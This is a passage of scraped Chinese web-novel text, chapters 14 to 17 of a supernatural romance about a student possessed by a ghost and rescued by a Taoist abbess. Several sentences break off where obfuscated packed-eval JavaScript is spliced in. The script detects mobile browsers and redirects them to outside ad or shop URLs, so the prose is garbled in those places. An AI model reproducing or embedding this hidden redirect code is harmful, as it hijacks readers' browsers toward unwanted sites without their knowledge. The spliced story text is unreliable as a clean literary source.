日月轮换,倦鸟还巢,鸽子咕咕停在道观的檐角,低头用喙梳理雪白的羽毛。 阳消阴长,最后一丝暮色隐没进了深厚的云层里。 山色一片黑暗。 傅清微没有回来。 穆若水坐了起来,打开院角的水镜,透过傅清微的眼睛,看见一排更衣柜,她的手正从更衣柜里拿衣服。 怎么回事?这么晚还不回山? 纸人并不能传达主人的思绪,穆若水只是觉得奇怪,她的手指在颤抖,像是正在经历什么可怕的事情。 她感觉得到对方身体紧绷,看到她从口袋里拿出了手机,打开置顶的联系人,向她拨出了电话。 穆若水接起来:“你怎么了?” 傅清微汗毛竖起,呼吸起伏不定:“我……” 嘟嘟嘟—— 电话断了。 与此同时,她和纸人的联系被全部切断! 14.第十四章 傅清微今天上午十点有一个动画项目的录制,她负责三个角色的动作捕捉,这个组她之前就在合作,出了名的钱少事多不靠谱,几个月前傅清微误上了贼船。 好不容易终于到了收尾的阶段。 这次的掉链子也没让她太意外。 一开始是导演迟到,生生推迟了一个小时拍摄,傅清微穿着紧身动捕衣,观察了一下外面正午当空的太阳,默默计算结束时间。 从十一点起拍了一个小时,剧组要休息吃饭。 傅清微舌头依旧疼痛,打字说自己口腔溃疡,婉拒分发的盒饭,买了个酸奶勉强充饥。 下午三点,另一个演员姗姗来迟,再小的圈子也有耍大牌的,大牌今年有个幕前角色爆火,连带着他也多了很多采访,眉飞色舞,侃侃而谈。 对方一进门,双手合十一边鞠躬一边道歉:“不好意思不好意思,有个杂志采访,耽搁了,实在不好意思。” 他的经纪人在边上时不时看手表。 大牌还在说:“我请大家喝奶茶。” 经纪人盯着手表催促道:“别废话了,快拍,晚上还有个饭局。” 导演看着正在绿箱前拍摄的傅清微,只露出一瞬间的为难,便叫下了按照排班表来说,确实现在是傅清微的班的表演主角,随口安抚道:“李老师待会有事忙,咱们让李老师先拍哈。” 傅清微本就开不了口,面对导演的要求她一个兼职大学生更没办法拒绝,只能站在一边等人先拍完。 15:30。 她赶到郊外需要一个小时,上山最快至少也一个小时,两个小时以后是五点半。 时间一分一秒地过去。 预计到达时间从五点半到了六点。 大牌拍完了,傅清微为了节省时间,全程都没敢脱几十斤重的动捕设备,冲到导演面前说:“导演,该我了。” 导演在那看机器,又拿起手机看消息,不紧不慢地说:“知道了。” “导演!”傅清微急了。 导演一面滑动手机,一面瞧了她一眼,笑眯眯中带着一丝不悦,道:“年轻人性子这么急不好,我这有事要处理,麻烦你再等会儿,好吗?” “如果您今天没空的话,我可以明天再来,保证圆满完成拍摄任务。”傅清微耐着性子道。 “租场地也要钱的。”导演摆摆手,敷衍地说,“再等等。” 他电话响起来,冲傅清微做了个手势,抛下一干工作人员及演员出去了,工作人员早了解导演的德行,伸了个懒腰原地休息,苦了傅清微望着不断前进的时针心急如焚。 “全伟强!” 导演正背对门口接打电话,另一只手拿别的手机回微信,忙活个不停,身后陡然传来他的大名。 导演一个激灵,条件反射端好了恭敬的面孔转过来,在瞧见面前只孤零零站着傅清微一个人时,马上沉下他的脸,教训道:“谁让你直呼导演名字的?一点教养都没有,还大学生呢,就这个素质水平?” 傅清微忍耐道:“我晚上回学校还有课,实在不能再拖了,而且大家也要吃晚饭。” “几点的课?” “六点。” “那不还有两个小时,急什么?进里边等着去。” “导演!” “知道了,马上。” 傅清微深吸了一口气,转身进了屋里,从背后还听见导演故意用她能听到的声音讽刺:“还大学生,书都读到狗肚子里。” 傅清微闭了闭眼,双手扶到自己的动捕头盔,恨不得摘下来扣到导演脑袋上! 想归想,做是不可能做的,谁让她只是个外包呢?赚钱嘛,哪有不受窝囊气的? 她的尾款!!! 傅清微摸了摸胸前的符箓,今天肯定不能在天黑前赶回去了,希望这三道符能保佑她平安到蓬莱观。 早上她给占英发过消息,说她符箓紧缺的事,占英在外地办事腾不出手,说给她快递过来。这会儿傅清微为了保险又给占英发了微信:【如果九点我没有给你回信,麻烦请一定来找我,谢谢你】 占英站在一所废弃工厂面前,手里握着桃木剑,抽空回了个:【1】 至于穆若水,在没有真的出事之前,还是别打扰她的好。 拍摄任务到六点才结束。 前几天就立冬了,昼夜长短开始了新一轮的更替,傅清微满是汗水地摘下头盔时扭头看到了窗外的月亮,悬在细细的黑色电线杆子上方。 月光笼罩大地,阳消阴长的时刻到了。 因为导演的后半截磨蹭,拖到比原定时间很晚才收工,一结束众人乌泱散了个干净。 ——彻头彻尾的草台班子。 只有清洁阿姨从门口进来,低着头沉默地打扫卫生。 头顶的灯光接触不良地闪烁了一下,接着恢复如常。 傅清微进了女更衣室,阿姨提着水桶跟着进来,头依旧垂得很低。 傅清微狐疑地看过去一眼,那个清洁阿姨既不拖地也不擦衣柜,就只是站在那里,一动不动,像是在等什么。 正在这时,傅清微贴身佩戴符箓的心口忽然烫了一下。 她本来想询问阿姨有什么需要帮助的心瞬间凉了下来,身体变得僵硬和停滞。 她根本不敢看那个阿姨,垂下的视线刚好落在对方的影子上,一片漆黑的影子里陡然凸出一张鹅蛋大的人脸,鼻孔、嘴巴、眼睛慢慢成型。 下一秒,它黑洞洞的眼睛和傅清微对视上了。 傅清微头皮一炸,脖子生锈般地慢慢转动,一边伸手自然地伸向衣柜,另一只手拿出手机给穆若水打电话。 “嘟——” 对方秒接,似乎猜到她的处境似的,语速飞快地问:“你怎么了?” 傅清微来不及高兴,因为影子里的“人”出来了! 她身体绷得像将裂的弦,呼吸急促:“我……”被鬼缠住了! 面前长着五官的鬼影原地拔起丈高,将她整个人笼罩在里面,一口吞没了她的影子。 影子抬起手,傅清微也抬起手,按下了挂断。 嘟嘟嘟—— 穆若水:“喂?” 真是个麻烦。 许久没有踏出过院门的穆观主抬脚走出了道观。 一百米外兢兢业业守着的灵管局干事停在原地,等她越过白线才鞠躬尽瘁地迎上来:“观主有什么吩咐?” 穆若水伸手说:“手机没电了,借我个充电宝。” 灵管局干事:“……好的,给您,两万毫安的够吗?” 穆若水听不懂:“差不多。” 早上傅清微给她发短信,她不会回。穆若水大半天都在研究手机键盘,怎么按出她想要的字,她生活的那个年代又没有拼音,一通研究着实够呛,拼音没学会几个,电快给她玩没了。 幸好她后来发现可以切换到手写输入,瞬间如鱼得水,哼,区区手机,还不是被她拿捏?这才保住了最后一格电,否则傅清微连她的电话都打不通。 “真人这是要下山?”灵管局干事送完充电宝,离得远远地问,“要不要我们送您过去?” 穆若水回头看看他。 对方年纪轻轻,挤出一个堆满褶子的笑容,生怕穆若水瞧出一丝不真诚的余地。 穆若水低头看看自己干净的靴子。 和她身上的衣服是一套的,大红色,像喜服的颜色。 她很珍惜她的长靴,所以上次下山都没穿。 万一弄脏了…… 穆若水点头说:“也好。” “车停在山脚下,我这就带您过去。”干事一边点头一边快步上前,一路小跑领路。 穆若水跟了两步,不耐烦地一把拎起对方的领子,林间树影飞速倒退。 一个小时的路生生缩短到半个小时。 要不是怕暴露,惹上不必要的麻烦,她可以更快。 干事被直接塞进驾驶座,胃里翻江倒海,后车立刻响起关门声,女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13738260|144905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人催促道:“快开。” 干事把涌到喉头的呕吐物一股脑咽了回去,眼泪汪汪地一脚油门踩到底,车轮泥土飞扬,夜色里拉出一条长长的黄线,疾速延伸向城里。 * “傅清微”挂断了电话,按部就班地在更衣室换衣服。 一直在旁边站着的清洁阿姨突然醒了过来,茫然地环顾四周,似乎疑惑自己为什么出现在这里。 她看看傅清微,对方的唇角始终含着迷人的笑容。 明明是一副年轻得掐出水的脸孔,举手投足却平添风情,桃花眼的眼尾狭长,收束上挑,清淡的妆容被这双眼睛一衬,比西子还艳上三分。 阿姨上午还见过在候场的傅清微,和现在完全不同。 这人白天黑夜还有两副面孔的? 她提起水桶,低头皱眉不解地离开了。 傅清微换好衣服,来到镜子前,尾指对镜描了墨色眼线,眼神更加深邃迷人。 她露出一个满意的笑容,从更衣室走了出去。 穆若水按亮了更衣室的灯。 一双用金银线勾出云纹的长靴停在门口,走了进来,没有发出丝毫声音。 穆若水来到傅清微的柜子前,气息还没有散尽,应该离开了不到一个小时。 穆若水循着她的气息再次离开更衣室。 夜半无人的巷子里,连月光也照不到的角落,“傅清微”摸着自己新获得的这张漂亮脸蛋,心满意足,脚步轻快,惬意地哼起了歌。 她一直走到巷尾,抬头看见了一道身影。 来人一身红衣道袍,脚踏锦靴,腰悬黄玉,身披鹤氅。月光将她的红衣染得越发鲜红,流露出比尸山血海更加强烈的杀意。 傅清微停在原地,果断举起双手,慢慢越过头顶,做出投降状。 “仙长饶命,我没有恶意。” “从她的身体滚出去。” 她讨厌,任何人,进入她的身体。 待它出来,她非要将这僭越的妖鬼碎尸万段! “我真的没有恶意,就是喜欢她的脸借来看一晚上,明天就还她了。我现在还现在就还!您别生气!”妖鬼明白自己现在出去就死定了,但是不出去也是死路一条,说不准哪个死法更难看。 妖鬼冥思苦想,在穆若水向她伸出手的那一秒闭眼崩溃大喊道:“我能看穿人的欲望!愿为仙长当牛做马,您别杀我!” 妖鬼名叫白姝,白姝紧闭双眼数了三秒,没等到自己的魂飞魄散,悄悄睁开一条缝隙,见穆若水的手放了下来。 穆若水冷道:“那你说,我的欲望是什么?” 笑话,她自己都不知道自己有什么欲望,区区妖鬼怎么知晓,不过穆若水还是给了她一个开口的机会。等它说完,还是要死。 白姝藏在傅清微的影子里,傅清微向穆若水一步一步地走过去,停在她面前,微微抬头,看进女人漆黑的眼珠里。 穆若水面无表情地和她对视,随时准备杀了她。 数息之后,妖鬼终于开口了。 “我看见了……你的欲望……很深很重……执着了很多很多年……”她喃喃道。 “故弄玄虚。”一声嗤笑,穆若水出手了。 傅清微及时伸手扣住了她的手腕,穆若水一怔之下居然被她带得往后退了一步,她的腰肢随即被一条柔软手臂揽住,一勾一带,整个人都圈进对方的怀里。 两人的身体亲密无间地抵在一起。 熟悉的幽香前赴后继涌入鼻翼,像最致命的软骨情丝,她的力气丧失了几秒。 “你……” 她慢半拍地阖动唇瓣,却只说了这么一个字,望着近在咫尺的脸庞。 睫羽蝶翼般轻盈坠落,放大的五官在穆若水眼里越来越近,她早已恢复了力气,却心甘情愿没有挣脱。 直到…… 唇瓣被浅浅的温凉触碰。 “这就是你最大的欲望。” 傅清微踮脚吻上了女人的唇。 15.第十五章 穆若水全身一僵,猛地睁开了眼睛。 面前的女生闭着眼,虔诚地贴着她的唇。 穆若水脑子里的弦疯狂震颤,抓着傅清微的手臂收紧,没有躲开这几乎不带任何强制性的触碰。 她的喉咙渴得难受,盛放心脏的地方也酸得要命,她明明应该感觉不到,可是为什么? 这种生理上的感受没有持续多久迅速褪去,像是吸饱了水的海绵极速干瘪,一个呼吸间消散得无影无踪。 穆若水几乎觉得那是一种幻觉。 下一秒,傅清微的身体失去支撑,软倒在了她的怀里。 白姝趁着穆若水出神的工夫,果断离开傅清微的影子,一个猛子扎进了黑暗当中。 黑夜无边无际,阴影随处可见,白姝的踪影再无迹可寻。 穆若水抱起傅清微,也消失在了巷子里。 * 檀县,废弃工厂。 占英把一个鼻青脸肿的男鬼五花大绑扔在地上,抬脚照着对方心窝用力来了一下。 “挺能跑啊你!逃啊!怎么不逃了!又是地府越狱又是在人间流窜作案的,显着你了!”占英气喘吁吁,又用桃木剑的剑柄狠狠敲它的脑袋,“狗东西,等着五百年寒冰地狱受刑吧你!” 男鬼抱不到自己的脑袋,嘴里塞着布,呜呜咽咽,被打得灵体都快半透明了。 占英在原地点了三支香,烧了符和纸钱,一阵阴气袭来,通体漆黑的斗篷将那些元宝搂进怀里,现出手持钢叉的鬼差夜叉的身形。 对方背生双翅,人身兽首,驼峰马面,两只眼睛竖着长,一只眼睛长在额头,一只眼睛长在下巴上。 “老实点!”占英把鬼拽过来,递过去:“马姐,您的kpi。” 鬼差马姐伸手把鬼接了,完成任务不说,刚挣了一大笔外快,正心里美,笑容满面:“多谢占科,这鬼要不及时抓回地府,我这个月的绩效可就没了。” 占英说:“这话说的,扣谁绩效也不能扣您的啊,谁不知道马姐是地府的大动脉。” 马姐笑得两只眼睛都闭了起来。 “占科太会说话了,考不考虑现在就死,到地府和我共事?” “我也想啊,人间的事没办完呢,老板不放人。唉,打工人难啊。”占英叹了口气,从一开始的过于地狱不敢接话,到现在面不改色地和鬼差谈笑风生。 “那你啥时候死了告诉我一声,一定来我们部门哈。” “一定一定。” “灵管局最近有人想死吗?地府缺人得很,崔大判官都发邮件了,灵管局的人死了可以直接入职冥司,待遇和人间一样,还有省亲假呢,我们这种干了几百年的都没这优待,要不说升职加薪还是得跳槽。”马姐嗐了一声。 “暂时也没人想死呢,局里缺人呐。” “咱俩这交情,人死了第一个通知我,我让我老大去抢人。” “肯定的。” 香快燃尽了,占英恭送道:“马姐慢走。” 马面拎了男鬼,一阵阴风原地刮起来,她临走忽然想起来道:“对了,我们部门与时俱进,现在都用英文名了,以后记得叫我Mary。” 占英嘴角抽了抽,扬起笑容道:“拜拜玛丽姐,有空常来啊。” 同事叹为观止。 占科就是占科,她要是仕途不顺还有谁能顺? 送走了马面,占英舒了一口气,揉揉眉心打了个哈欠,为了这只从地府越狱的恶鬼,从鹤市一路追到檀县,觉都没睡到囫囵个。 她抬起运动手表,看看今天的步数:足足三万五千步!该死的鬼! 手表返回桌面。 21:35 占英点进微信消息,往下滑了两页,傅清微的消息静静地躺在里面—— 【如果九点我没有给你回信,麻烦请一定来找我,谢谢你】 占英眉心激跳。 糟了! * 手机在床头柜嗡嗡地震动,锲而不舍。 一只修长洁净、指甲整齐的手拿起来,按下了挂断键。 一次又一次,那只手果断按下关机,耳根彻底清净。 “您拨打的电话已关机,请稍后再拨……”占英火烧眉毛,一咬牙一跺脚,拨通了穆若水的电话。 道士接起来,阴冷道:“你有几条命?” “一条!真人容禀啊!”占英赶在她挂电话之前连忙说出目的,“你的傅清微出事了!” 穆若水坐在沙发上,翻过手背,看自己刚长出来的指甲,说:“没出事,在我这里。” “那就好。”占英心口的大石落了下来,示意驾驶座的司机可以开慢点,不急着返程,颠得她都要吐出来了。 “可是我刚打她电话她关机了。” 穆若水有几秒没接话,但占英好像懂了。 “是我关的机。”穆若水淡淡地说,“有问题?” “没有。您在她身边,当然是没问题的。如果下次您有事不在,请务必让她的手机保持开机。”占英小心翼翼地说。 她等了许久,才等到电话那端传来一句漫不经心的—— “准。” “多谢真人。” “……” “打扰你们休息的话,小英子先退下了?” 穆若水收回自己落在手指的视线,目光发冷,说:“她今晚遇到了一只妖鬼。它跑了,我要杀了它。” 占英:“妖鬼?” 人死为鬼,鬼死为聻(jiàn),鬼要是不死也不去投胎呢? 要么像游魂一样游荡个几十年越来越虚弱,记忆也没了,直到散在天地间;要么执念不消化身厉鬼,为祸人间;第三种就是以鬼身修行,逐渐往得道的方向走,仙府、冥司两界都不收,只有妖界海纳百川,故称作妖鬼。 妖鬼没有完全脱离鬼的范畴,但是和丧失神智的前两者相比,她们显然更高级,有记忆有理智,有道行,甚至有自己的爱好,性格也各不相同,一只脚踏进妖的门槛。 地府不管妖鬼,一是人手不足,比起厉鬼,她们往往不那么凶残。再说地府投胎队伍拥挤,尤其是女性,投胎名额紧张,有的刚投生人间便再次入轮回道,作为人的时候连眼都没睁开过,懵懵懂懂,回了地府连孟婆汤都不用喝,令鬼发指。 妖鬼原身多为滞留人间的女鬼,生前不作恶,死后也不愿去投胎,选择修行,阎罗殿悯其哀情,网开一面,只要不闹出人命,地府睁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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噢,不是灵丹妙药,也不知道是谁接连吸了她两次。既然这次上门不是为了吸血…… “道长是特意来救我的吗?”傅清微胆大包天地迈出了试探的一小步。 “笑话。”穆若水下意识反驳,伴随一声轻蔑的笑。 之后她暂时没想到新借口,好一会儿没说话,于是这句驳斥显得格外的干巴。 傅清微眨了眨眼。 穆若水掩饰性地端起水杯,借道袍的宽袖之便顺便挡住了自己的脸,再放下来时已经成竹在胸:“既然你已经知道了,不错,我就是专程来取你的血。” 傅清微假装信了,赞同地嗯嗯两声。 穆若水:“还不快过来?” 傅清微第一次清醒状态被取血,走到女人身边,见她一个人霸占长沙发的中央,自己躺也不是,站也不是。 前两次取血的时候她都是抱着自己的,要不…… 傅清微咬了咬唇,来到穆若水左边,侧身面对她,慢慢搭上她的右肩,坐在了女人的腿上。 16.第十六章 穆若水的脑子空白了一瞬。 傅清微坐到她腿上以后,还扶着她的肩膀调整了一下姿势,和她的腿亲密接触的地方弹性又软绵,透过一层绸缎外裤分毫不差地传递到穆若水的感官。 睡在棺材里好多年从来不近美色的道士承受不住了。 也不知是哪里受不住,总之就是大脑拉响警报,对着她的耳朵大喊危险危险—— “你大胆!” 傅清微被她突然起身的动作掀翻,在跌飞出去之前被女人本能拉了一把,稳稳地送到斜对面的单人沙发。 突然坐进沙发里的傅清微:“?” 穆若水的呼吸都加快了,眼珠泛红,戾气翻滚:“信不信我杀了你。” 傅清微:“对不起。” 穆若水一怔。 傅清微:“我不知道这样会冒犯到你,我以为我们俩都是女人,所以……我只想你能更好地咬到我的脖子,和前两次一样,总之非常对不起。” 年轻女人站起来,鞠躬九十度。 穆若水:“……” 眼底的红色慢慢褪下去。 算了,下不为例。 她在心里已经没脾气地原谅了对方,但冷脸还是多摆了好一会儿,默不作声地喝水,也不理人。 傅清微把自己电视柜底下的零食都拿出来推到她面前,无声地讨好。 穆若水才瞧不上这些东西,看都不看一眼。 道长一时哄不好,但澡也是要洗的。 有穆若水在家,鬼神避让,傅清微眼睛和耳朵从来没有这么干净过,安全感比英叔提升了三倍。 她照镜子才发现自己画了眼线,看起来还挺妖艳的,不知道这次占了她身的鬼还做了什么?傅清微也不敢问客厅那位,生怕刚平静一点的观主又炸毛。 傅清微关上卫生间的门,开始脱衣服。 穆若水听到卫生间传来一声惊叫,一把按下门把走了进来,看着衣不蔽体但是安然无事的年轻女人蹙起绣眉。 傅清微顾不得衣衫不整,手里捧着三道变黑的符箓,心碎成亿万片。 “我的符……” 她昨晚用舌尖血好不容易画出来的两道符,受了那么多的罪,舌头痛到现在,换来的宁心符。 全没了呜呜。 傅清微悲伤难抑,泪光楚楚,哀戚地看着她的心血,一夜之间毁于一旦。 它们甚至没活过一天一夜的时间,但凡过了一天,她都不会这么难过。 穆若水还以为是什么大事,不以为然说:“几道符而已,再画就是。” 对她来说当然简单,可傅清微只是凡人,她舌头的伤还没有痊愈,今天甚至都没能吃上一口饭。 傅清微垂着脸,声音低迷。 “道长,我想洗澡,请您先出去吧。” “不许一惊一乍。”穆若水回头对她说。 “嗯。” 傅清微送她到门口关上门,抬睫的一瞬间穆若水还是看到她下睫毛的湿润。 穆若水在门口面了会儿壁,掏出手机。 吉普车平稳行驶在夜间公路,占英已经在副驾驶睡着了,被来电的特别铃声吵醒,她只听一耳朵便彻底清醒,挤出诚心诚意为老祖宗服务的笑容。 “观主晚……” “一天,找到那只妖鬼,我要把它挫骨扬灰。”穆若水说完,按下挂断。 嘟嘟嘟—— 熟悉的忙音。 占英眨了眨眼,又眨了眨眼,迟钝的大脑消化着刚得到的信息。 吉普车在路边一脚急刹停了下来。 占英拉开车门,给自己的脸泼了一瓶矿泉水,换到驾驶座,大灯齐亮,黑色吉普朝着鹤市的方向弹射出去。 等她确认了是哪只妖鬼给她找事,她先暴揍一顿! …… 傅清微洗完澡,收拾了自己因为三道符箓一次性被毁低落的心情,一身睡衣从浴室里走出来。 穆若水保持着她第一次进门前的姿势,从沙发扫过来一眼,见她眼睑有一圈淡色晕开的粉,保不齐躲里面悄悄哭过了。 安慰是不可能安慰的,还要兴师问罪—— “为什么不按时回山?” “我……”傅清微的注意力一转移,忘了符箓的事,想着怎么用她能理解的语言解释。 “有人拖欠我工钱,想找机会赖着不给。”傅清微低声说。 “多少?” “半年的生活费。” “勉强算你情有可原。” 傅清微:“???” 居然就这么轻易过关了?穆观主转性了? 穆若水:“下山之前,记得我跟你说过什么吗?” 没头没尾,但傅清微神奇地搭上了她的脑回路,说:“只要我在你身边,你会保我平安无恙。” 如此精准地答对她心中所想,连穆若水都感到惊讶,但她很好地掩饰了这一切。 “下不为例。” “我会尽一切努力。” 尽力?这是什么回答? 傅清微说:“我很感激道长的庇佑,我可以为了自己的安全一直留在山上,但是我割舍不下拥有的一切。我读了很多年的书,好不容易读到大学,我想好好毕业,拿到我的学位证。我从十几岁开始半工半读,终于有了自己的小窝,这里的每一样东西都是我亲手添置的,看见它们我的心情都会变好。我有很要好的朋友,我们约好了要吃到老玩到老。” “我现在拥有的生活都是凭我自己的双手辛辛苦苦挣来的,如果为了活命,就要抛弃我努力过出来的人生,一辈子躲进山中,苟且偷生,我不愿意。” 生命诚可贵,自由价更高。 所以她明知危险也要下山,去上学去打工,去过她过了很久很喜欢的生活,哪怕有一天她死了,她也死在自己选择的道路上,无论它是否正确。 穆若水环视她这间小屋子。 水电家具齐全,沙发茶几电视机,还有浴室和马桶,比起她那没水没电的原始道观,基础设施当然好了不止一点半点。 阳台种着盆栽,延伸到靠里的那面墙壁有一个书架,沙发边置了一盏用来阅读的落地灯,正晕出橘色的暖光。 从开着的窗帘看出去,月亮似乎离人很远,楼底的公共区域传来街坊零星的耳语,地铁口附近的夜市人流络绎不绝,这里是烟火气息浓厚的人间,不像山上除了风声,只有虫鸣,夜晚安静得看不到尽头。 穆若水躺在棺材里有时也会觉得寂寞,阴阳圆缺看了好几轮都是一样,何况傅清微? 穆若水低声说:“你给我添了不少麻烦。” 傅清微面露愧疚,说:“对不起,如果真的很麻烦的话,您……” “跟我念。”穆若水打断她。 傅清微微微睁大眼睛。 女人沉静的咒语声已经响起来:“*天地玄宗,万炁本根。广修亿劫,证吾神通。” 傅清微来不及思考,立刻跟上: “天地玄宗,万炁本根。广修亿劫,证吾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“明白了吗?” “明白。”傅清微点点头。就是唯心主义。 只要她相信自己有金光护体,她就真的会有金光护体。 从科学的角度来解释,当她的脑电波足够稳定强大,鬼的磁场就影响不了她,甚至反过来,她可以影响鬼。 身为红旗下长大的青年,在这一刻,唯心和唯物在傅清微的心中达到了微妙的平衡。 穆若水不知道在傅清微的小脑瓜里有多少离谱的想法和奇妙的等式,金光咒也教了,已是破了她的例。但有一就有二,既然开了头,穆若水决定稍微解答一下自己内心的疑问——顺手的事,做就做了。 傅清微刚洗过澡,她穿了一件白色的长衬衣,完全掩饰不了姣好的身段,双腿笔直修长,透过衬衫的光线勾勒出腰身纤细的一握,像她的年纪一样,梅雨时节挂在枝头的桃李,将熟未落。 乌发的尾端还挂着水珠,几绺搭在胸前。 耳边又响起那只妖鬼所说的话。 ——这就是你最大的欲望。 穆若水的目光从年轻女人白净的下巴,到她延伸进领口里雪白脆生的一节项颈,莲藕似的,白嫩清甜,被严丝合缝地包裹。 “把衣服脱了。” 女人轻描淡写,落在傅清微耳朵里却震耳欲聋。 傅清微一瞬间以为自己幻听了。 她刚刚说什么? 17.第十七章 于是傅清微又问了一遍。 “什么?” 穆若水目光紧紧盯着她领口的皮肤,命令说:“把衣服脱了。” 傅清微:“……” 仅花了不到一秒钟的时间犹豫,傅清微抬起双手,伸向了遮住象牙白脖颈的第一颗扣子。 一颗一颗往下解。 她相信穆观主不会对她做什么,一来她们俩都是女人,二来穆若水看起来不像是会对人类感兴趣的人。 观主这么做一定有她的道理。 锁骨、肩膀,露出的皮肤越来越多,傅清微的指尖碰到自己在室温下有些冰凉的肌肤,耳朵却在不受控制地升温。 虽然彼此都没什么邪念,但是当面宽衣解带还是有点太超过了。 傅清微解衣扣的手一顿,肩膀朝里收,下巴微低,就要背过身去。 “不准转过去。” “……” 傅清微这下是真的从耳脖子红到脚后跟。 她忍着赧意,继续解自己的扣子,她的睡衣是宽松长款的白衬衣,包裹长腿,只剩了最下面两粒扣子,春光赛雪,漫生新芽的清香。 “停。” 傅清微的衣服解了一大半,因为有除了自己以外的人在家,她在衬衣里还穿了内衣,着实算不上特别暴露。 但对穆若水已经够了。 衣衫半解,春色含情,忽略她十分年轻的脸,这具身体发育已然不赖。 傅清微照过镜子,知道自己的条件足以吸引很多人,不分男女,但是这些人绝不包括穆若水——在上一秒,她还是这样想的。 这一秒,穆若水盯着她的胸口。 傅清微:“……” 穆若水:“你胸口有一颗红痣。” 傅清微:“我不喜欢女——什么?” 穆若水:“女什么?” 傅清微顿时尴尬得无地自容。 “对不起。” 她太想揭过刚才那一幕,不等穆若水再次开口,便开口飞快地说:“是啊,一颗红痣,长在胸口,很神奇吧?” 说完她恨不得咬住自己的舌尖,这有什么好神奇的?! 穆若水附和了她一句,又明显的懒得用心。 “可能吧。” “……” “没事了,你走过来吧。”穆若水在她动作的同时提醒道,“衣服不要穿。” 占英要是在这里,一定会发出灵魂感叹:你们俩,有点暧昧了哈。 傅清微也这么觉得,但是穆观主不是一个会融入进暧昧氛围的人,她不够光风霁月,但足够目下无尘。任何人在她面前,都好似天生低她一等。 傅清微小声地辩驳了一句:“我还没脱呢,只是解了一半扣子。” 穆若水听若未闻,就着她解开的衣衫,在她的心口画了一道诛邪符,最后一笔落在那颗红痣上,目光深邃,久久未动。 “道长?” 再不放开自己的心跳该跳得全世界都听到了。 假公济私的穆若水若无其事地收回手,傅清微问道:“可以穿上了吗?” 在得到肯定的答复以后,迅速地扣上自己所有的扣子,转过身缓了一会儿自己隆重的心跳声,才重新面对穆若水。 好在穆观主似乎在想自己的事,根本没注意到她的异常。 “观主。” 穆若水扫了一眼她衣冠整齐的穿戴,说:“我要回去了。这道符只能保你三天,三天之后,记得回山,不要再迟到。” “我知道了,谢谢道长。” 穆若水想了想,把自己手腕的佛珠摘下来递给她,“先放在你这。” 即使她不说,傅清微也猜得到这木色佛珠是一件辟邪的法器。 不是她故作清高,而是穆若水帮了她太多,她回报不了其万一。佛珠既然是她随身佩戴,一定对她非常重要。傅清微早就不是小孩子了,虽然怕死,但更怕有负于人。 “道长,我承受不起,您还是收回去吧。”占英说鹤市治安挺好的,只要不去作死,很难有生命危险,实在有事她会打电话。 “我不想再下山救你。”路太远了,她走路也会累。 “……” 傅清微只好接了过来。 巧的是这根红线穿着的佛珠戴在她的手腕正好,仿佛为了她量身打造。她天生比常人苍白的皮肤被红线一衬,多出几分峥嵘艳色。 怪好看的。 穆若水心里突然冒出这么一句。 她按下莫名其妙的想法,转身往阳台的方向走去。 傅清微站在她的身后,在她准备离开时,鼓起勇气问了一句:“道长,你不想留下来,看看和平年代的新世界吗?” 傅清微这段时间住在道观,将近一个月的时间,虽然没有所有地方都去过,但是根据摆设和物件推测,最晚不超过民国二十四年。 民国二十六年,华夏大地全面战争爆发。 在傅清微的了解里,当时道士纷纷背起剑,大规模下山抗击侵略者,书中记载“十观九空”,死了太多太多人,导致后来玄门断代凋敝许久,灵管局也跟着休养生息,近些年才缓过来。 第一次见面的时候,根本不想搭理人的穆观主只主动问了她一个问题。 ——此间可还有战乱吗? 傅清微回她:已和平近百年了。 ——那就好。 女人似乎露出一个欣慰的笑容。 那么傅清微推测,她也是当时下山的道士之一。 后来她不知道因为什么原因沉睡,在她沉睡之时,战争还没有结束。 所以她醒来以后,仍然牵挂着这件事。 如果她是当年下山的道士,抛弃个人的因素,傅清微真的很想她能留下来,看看这个已经远离战争近百年欣欣向荣的国家,看看日新月异的新世界,她们的血汗没有白流,努力没有被辜负。 傅清微:“道长,我想带你亲眼去看一看。” 穆若水的背影停顿,茫然地张了张眼。 胜利以后的新世界? 她好像记得,又好像忘记了。 傅清微向她走了一步。 穆若水的身影消失在了阳台外面。 傅清微低声叹了一口气,回到了客厅里,继续翻阅从图书馆借来的书籍,挖掘有关道士下山的细节研究。 作者籍贯西南,刚好是鹤市隔壁的县,根据她的实地调查走访和大量旧文献资料,列举了很多本地具体的道观,道号大多不提, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|13770096|144905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最多只写姓氏,可能是不知道,也可能为了尊重隐私。 傅清微接下来三天都不用早起晚归地赶路,明天上午没课没工作,她干脆冲了杯咖啡,一晚上都在看这本书。 